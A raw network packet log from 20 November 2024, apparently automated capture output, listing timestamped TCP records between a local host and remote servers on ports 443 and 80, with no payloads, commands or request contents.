Nov 20, 2024 23:12:21.564763069 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.564838886 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.564850092 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.564881086 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.564898968 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.571069002 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 23:12:21.595124006 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.595181942 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.595238924 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.595251083 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.595335007 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.595335007 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.616588116 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.616621017 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.616681099 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.616681099 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.616692066 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.616944075 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.638673067 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.638696909 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.638830900 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.638842106 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.638906002 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.762907028 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.762933016 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.763019085 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.763037920 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.763096094 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.763096094 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.778249979 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.778275967 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.778336048 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.778347969 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.778394938 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.778394938 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.793145895 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.793189049 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.793314934 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.793314934 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.793324947 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.793375015 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.806211948 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.806241035 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.806299925 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.806308985 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.806324005 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.806372881 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.821247101 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.821269989 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.821466923 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.821468115 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.821475983 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.821589947 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.835151911 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.835171938 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.835239887 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.835248947 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.835304022 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.835304022 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.841969967 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.842036009 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.842044115 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.842077971 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.842128038 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.842128038 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.842128038 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.842128038 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.842158079 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.887029886 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.887074947 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.887150049 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.888760090 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.888811111 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.888885975 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.888984919 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.888999939 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.890124083 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.890139103 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.891005039 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.891015053 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.891069889 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.891189098 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.891200066 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.891938925 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.891988039 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.892040968 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.892142057 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.892154932 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.892771959 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.892838955 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:21.892906904 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.893023968 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:21.893044949 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:22.095437050 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:22.149228096 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:22.149250031 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:22.214920044 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:22.214998960 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:22.215919971 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:22.335402012 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:22.352366924 CET	49674	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:22.352427006 CET	49675	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:22.477324963 CET	49672	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:23.602391958 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:23.602448940 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:23.607613087 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:23.676856995 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.677057981 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.677323103 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.680147886 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.695002079 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.695019960 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.695631027 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.695636034 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.695923090 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.695936918 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.696496964 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.696508884 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.696849108 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.696861982 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.697240114 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.697247028 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.697518110 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.697556973 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.698040009 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.698046923 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.727941990 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:23.770108938 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.770571947 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.770586014 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:23.771006107 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:23.771011114 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.074575901 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.074630976 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.076030016 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.127768993 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.127835035 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.127924919 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.127935886 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.127986908 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.128072977 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.128078938 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.128171921 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.128452063 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.128537893 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.128585100 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.130630016 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.130683899 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.130759001 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.130907059 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.130923986 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.130958080 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.131016016 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.131138086 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.131146908 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.131186008 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.131237984 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.131237984 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.131242037 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.131678104 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.131761074 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.131819010 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.133460999 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.133493900 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.133618116 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.133764982 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.133790970 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.135082960 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.135157108 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.135219097 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.135277033 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.135289907 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.135301113 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.135308027 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.136594057 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.136619091 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.136687040 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.136701107 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.136785984 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.136800051 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.136812925 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.136941910 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.136971951 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.137016058 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.137160063 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.137181044 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.137231112 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.137372971 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.137387037 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.138537884 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.138551950 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.138664007 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.138808012 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.138818979 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.196012974 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.223710060 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.223828077 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.223884106 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.224018097 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.224039078 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.224049091 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.224061012 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.226484060 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.226520061 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.226624966 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.226733923 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:24.226746082 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:24.529962063 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.530030012 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.530091047 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.530142069 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.531235933 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.650718927 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.984764099 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.984869003 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.984905958 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.984949112 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.984949112 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.984982014 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.985018015 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.985021114 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.985021114 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.985053062 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.985059977 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.985096931 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.990552902 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.990606070 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:24.990633011 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.990655899 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:24.991993904 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:25.111486912 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:25.627229929 CET	443	49703	104.98.116.138	192.168.2.7
Nov 20, 2024 23:12:25.627345085 CET	49703	443	192.168.2.7	104.98.116.138
Nov 20, 2024 23:12:25.634953022 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:25.635034084 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:25.653733015 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:25.653775930 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:25.773358107 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:25.773374081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:25.773394108 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:25.773418903 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:25.773508072 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:25.773525953 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:25.773571968 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:25.900688887 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:25.901155949 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:25.901174068 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:25.901828051 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:25.901834965 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.115998983 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.116343021 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.123996973 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.124017954 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.131829977 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.131844044 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.135878086 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.135885954 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.140120029 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.140125990 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.160607100 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.166266918 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.166282892 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.166922092 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.166929007 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.335549116 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.335613012 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.335674047 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.341097116 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.341097116 CET	49713	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.341121912 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.341133118 CET	443	49713	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.343681097 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.343732119 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.343797922 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.343921900 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.343941927 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.359780073 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.360914946 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.360928059 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.361459970 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.361466885 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.552803040 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.552987099 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.553052902 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.557482004 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.557554960 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.557604074 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.561942101 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.561963081 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.561976910 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.561984062 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.563601017 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.563616991 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.563644886 CET	49714	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.563652992 CET	443	49714	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.566905975 CET	49718	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.566922903 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.566932917 CET	443	49718	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.566967964 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.566996098 CET	49718	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.567034960 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.567132950 CET	49718	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.567150116 CET	443	49718	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.567303896 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.567322016 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.688072920 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.688229084 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.688359022 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.688359976 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.688388109 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.688399076 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.691066027 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.691121101 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.691211939 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.691385984 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.691401958 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.842360020 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:26.842468023 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:26.856194019 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.856266975 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.856367111 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.878644943 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.878644943 CET	49715	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.878674030 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.878686905 CET	443	49715	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.881315947 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.881372929 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:26.881443024 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.881583929 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:26.881604910 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:27.120112896 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.239635944 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.576934099 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.577023029 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.577035904 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.577208042 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.581135988 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.581208944 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.581259966 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.581305027 CET	49710	80	192.168.2.7	185.215.113.206
